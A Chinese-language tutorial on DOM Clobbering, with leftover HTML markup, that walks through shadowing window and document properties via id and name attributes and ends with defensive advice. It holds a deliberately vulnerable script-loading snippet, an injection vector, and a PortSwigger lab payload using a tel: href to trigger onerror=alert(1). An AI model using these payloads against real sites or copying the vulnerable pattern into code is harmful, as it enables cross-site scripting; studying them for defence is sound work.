DOM Clobbering 技术解析与实战指南<\/h1>

1. 基本概念与原理<\/h2>

1.1 DOM 与 Window 的关系<\/h3>
当在 HTML 中设置带有 id 的元素后，可以直接通过 window 对象访问该元素：<\/p>
<html<\/span>>
<\/span><\/span><head<\/span>><\/head<\/span>>
<\/span><\/span><body<\/span>>
<\/span><\/span><button<\/span> id<\/span>=<\/span>Test<\/span>>click me!<\/button<\/span>>
<\/span><\/span><script<\/span>>
<\/span><\/span>console<\/span>.log<\/span>(window.Test<\/span>) \/\/ 返回按钮元素
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/body<\/span>>
<\/span><\/span><\/html<\/span>>
<\/span><\/span><\/code><\/pre>1.2 简化事件处理<\/h3>
传统事件监听方式：<\/p>
document.getElementById<\/span>("Test"<\/span>)
<\/span><\/span>.addEventListener<\/span>('click'<\/span>,()=>{
<\/span><\/span>alert<\/span>(1<\/span>)
<\/span><\/span>})
<\/span><\/span><\/code><\/pre>DOM Clobbering 简化方式：<\/p>
Test<\/span>.onclick<\/span>=<\/span>()=>alert<\/span>(1<\/span>)
<\/span><\/span><\/code><\/pre>2. 可用的 HTML 标签<\/h2>
根据 HTML 规范，除了 id 属性外，以下标签也可用于 DOM Clobbering：<\/p>

<embed name="a"><\/embed><\/code><\/li>
<form name="b"><\/form><\/code><\/li>
``<\/li>
<object name="d"><\/object><\/code><\/li>
<\/ul>
3. 基础攻击场景分析<\/h2>
3.1 典型漏洞代码<\/h3>
<html<\/span>>
<\/span><\/span><body<\/span>>
<\/span><\/span>  <h1<\/span>>留言板<\/h1<\/span>>
<\/span><\/span>  <div<\/span>>你的留言：Hello DOM clobbering<\/div<\/span>> 
<\/span><\/span>  <script<\/span>>
<\/span><\/span>    if<\/span> (window.TEST_MODE<\/span>) {
<\/span><\/span>      var<\/span> script<\/span> =<\/span> document.createElement<\/span>('script'<\/span>)
<\/span><\/span>      script<\/span>.src<\/span> =<\/span> window.TEST_SCRIPT_SRC<\/span>
<\/span><\/span>      document.body<\/span>.appendChild<\/span>(script<\/span>)
<\/span><\/span>    }
<\/span><\/span>  <\/script<\/span>>
<\/span><\/span><\/body<\/span>>
<\/span><\/span><\/html<\/span>>
<\/span><\/span><\/code><\/pre>3.2 攻击向量<\/h3>
<div<\/span>>
<\/span><\/span>  你的留言：
<\/span><\/span>  <div<\/span> id<\/span>=<\/span>"TEST_MODE"<\/span>><\/div<\/span>>
<\/span><\/span>  <a<\/span> id<\/span>=<\/span>"TEST_SCRIPT_SRC"<\/span> href<\/span>=<\/span>"my_evil_script"<\/span>><\/a<\/span>>
<\/span><\/span><\/div<\/span>>
<\/span><\/span><\/code><\/pre>3.3 重要注意事项<\/h3>

普通元素（如 div）的 toString() 返回 [object HTMLDivElement]<\/code><\/li>
只有 <a><\/code> 标签配合 href 属性才能返回字符串值<\/li>
使用场景：HTML 可控且 JS 中使用 window 对象属性时<\/li>
<\/ul>
4. 多层级 DOM Clobbering<\/h2>
4.1 使用 form 标签实现层级访问<\/h3>
<form<\/span> id<\/span>=<\/span>"config"<\/span>>
<\/span><\/span>    <input<\/span> name<\/span>=<\/span>"IsTest"<\/span> \/>
<\/span><\/span>    <button<\/span> id<\/span>=<\/span>"IsTest2"<\/span>>click me!<\/button<\/span>>
<\/span><\/span><\/form<\/span>>
<\/span><\/span>
<\/span><\/span><script<\/span>>
<\/span><\/span>console<\/span>.log<\/span>(window.config<\/span>.IsTest<\/span>)   \/\/ 访问 input 元素
<\/span><\/span><\/span><\/span>console<\/span>.log<\/span>(window.config<\/span>.IsTest2<\/span>)  \/\/ 访问 button 元素
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>4.2 利用 HTMLCollection 特性<\/h3>
<a<\/span> id<\/span>=<\/span>"config"<\/span>>aaaa<\/a<\/span>>
<\/span><\/span><a<\/span> id<\/span>=<\/span>"config"<\/span>><\/a<\/span>>
<\/span><\/span><script<\/span>>
<\/span><\/span>console<\/span>.log<\/span>(window.config<\/span>) \/\/ 返回 HTMLCollection (Chrome)
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>4.3 三层结构实现<\/h3>
<form<\/span> id<\/span>=<\/span>"config"<\/span>><\/form<\/span>>
<\/span><\/span><form<\/span> id<\/span>=<\/span>"config"<\/span> name<\/span>=<\/span>"prod"<\/span>>
<\/span><\/span>  <input<\/span> name<\/span>=<\/span>"apiUrl"<\/span> value<\/span>=<\/span>"123"<\/span> \/>
<\/span><\/span><\/form<\/span>>
<\/span><\/span><script<\/span>>
<\/span><\/span>console<\/span>.log<\/span>(config<\/span>.prod<\/span>.apiUrl<\/span>.value<\/span>) \/\/ 输出 "123"
<\/span><\/span><\/span><\/span><\/script<\/span>>
<\/span><\/span><\/code><\/pre>4.4 使用 iframe 实现更深层级<\/h3>
<html<\/span>>
<\/span><\/span><body<\/span>>
<\/span><\/span>  <iframe<\/span> name<\/span>=<\/span>"config"<\/span> srcdoc<\/span>=<\/span>'
<\/span><\/span><\/span>    <a id="apiUrl"><\/a>
<\/span><\/span><\/span>  '<\/span>><\/iframe<\/span>>
<\/span><\/span>  <script<\/span>>
<\/span><\/span>    setTimeout<\/span>(() => {
<\/span><\/span>      console<\/span>.log<\/span>(config<\/span>.apiUrl<\/span>) \/\/ 返回 iframe 中的元素
<\/span><\/span><\/span><\/span>    }, 500<\/span>)
<\/span><\/span>  <\/script<\/span>>
<\/span><\/span><\/body<\/span>>
<\/span><\/span><\/html<\/span>>
<\/span><\/span><\/code><\/pre>5. 针对 Document 对象的攻击<\/h2>
5.1 覆盖 document 属性<\/h3>
<html<\/span> lang<\/span>=<\/span>"en"<\/span>>
<\/span><\/span><head<\/span>>
<\/span><\/span>  <meta<\/span> charset<\/span>=<\/span>"utf-8"<\/span>>
<\/span><\/span><\/head<\/span>>
<\/span><\/span><body<\/span>>
<\/span><\/span>  
<\/span><\/span>  <form<\/span> id<\/span>=<\/span>test<\/span>>
<\/span><\/span>    <input<\/span> name<\/span>=<\/span>lastElementChild<\/span>>
<\/span><\/span>    <div<\/span>>I am last child<\/div<\/span>>
<\/span><\/span>  <\/form<\/span>>
<\/span><\/span>  <embed<\/span> name<\/span>=<\/span>getElementById<\/span>><\/embed<\/span>>
<\/span><\/span>  <script<\/span>>
<\/span><\/span>    console<\/span>.log<\/span>(document.cookie<\/span>) \/\/ 返回  元素而非真实 cookie
<\/span><\/span><\/span><\/span>    console<\/span>.log<\/span>(document.querySelector<\/span>('#test'<\/span>).lastElementChild<\/span>) \/\/ 返回 input 元素
<\/span><\/span><\/span><\/span>    console<\/span>.log<\/span>(document.getElementById<\/span>) \/\/ 返回 embed 元素
<\/span><\/span><\/span><\/span>  <\/script<\/span>>
<\/span><\/span><\/body<\/span>>
<\/span><\/span><\/html<\/span>>
<\/span><\/span><\/code><\/pre>6. 实战案例：PortSwigger 实验室<\/h2>
6.1 漏洞分析<\/h3>

留言板允许 HTML 格式输入<\/li>
存在自定义的 escapeHTML 函数转义特殊字符<\/li>
关键漏洞代码：<\/li>
<\/ul>
let<\/span> defaultAvatar<\/span> =<\/span> window.defaultAvatar<\/span> ||<\/span> {avatar<\/span>:<\/span> '\/resources\/images\/avatarDefault.svg'<\/span>}
<\/span><\/span>let<\/span> avatarImgHTML<\/span> =<\/span> ''<\/span>;
<\/span><\/span><\/code><\/pre>6.2 绕过限制技巧<\/h3>

使用 <a><\/code> 标签的 href 属性提供字符串值<\/li>
利用 tel: 协议绕过过滤<\/li>
通过注释符解决引号闭合问题<\/li>
<\/ul>
6.3 最终攻击载荷<\/h3>
<a<\/span> id<\/span>=<\/span>defaultAvatar<\/span>>
<\/span><\/span><a<\/span> id<\/span>=<\/span>defaultAvatar<\/span> name<\/span>=<\/span>avatar<\/span> href<\/span>=<\/span>'tel:"onerror=alert(1)\/\/'<\/span>>
<\/span><\/span><\/code><\/pre>7. 防御措施<\/h2>

避免全局命名空间污染<\/strong>：不直接使用 window 对象属性进行关键操作<\/li>
严格验证用户输入<\/strong>：对用户提供的 HTML 内容进行严格过滤<\/li>
使用前缀或命名空间<\/strong>：为关键变量添加特定前缀避免冲突<\/li>
类型检查<\/strong>：在使用前验证变量类型是否符合预期<\/li>
内容安全策略<\/strong>：实施 CSP 限制脚本执行<\/li>
<\/ol>
8. 工具资源<\/h2>

DOM Clobber3r<\/strong>：专门用于生成多层级 DOM Clobbering 载荷的工具<\/li>
浏览器开发者工具：用于调试和测试 DOM 结构<\/li>
<\/ul>
9. 浏览器兼容性说明<\/h2>

Firefox 与 Chrome 在 HTMLCollection 处理上存在差异<\/li>
iframe 加载需要时间，需使用 setTimeout 确保元素可用<\/li>
部分标签在不同浏览器中的行为可能略有不同<\/li>
<\/ul>
通过深入理解 DOM Clobbering 原理和技术细节，安全研究人员可以更好地识别和防御这类漏洞，同时开发人员可以编写更安全的代码避免此类问题。<\/p>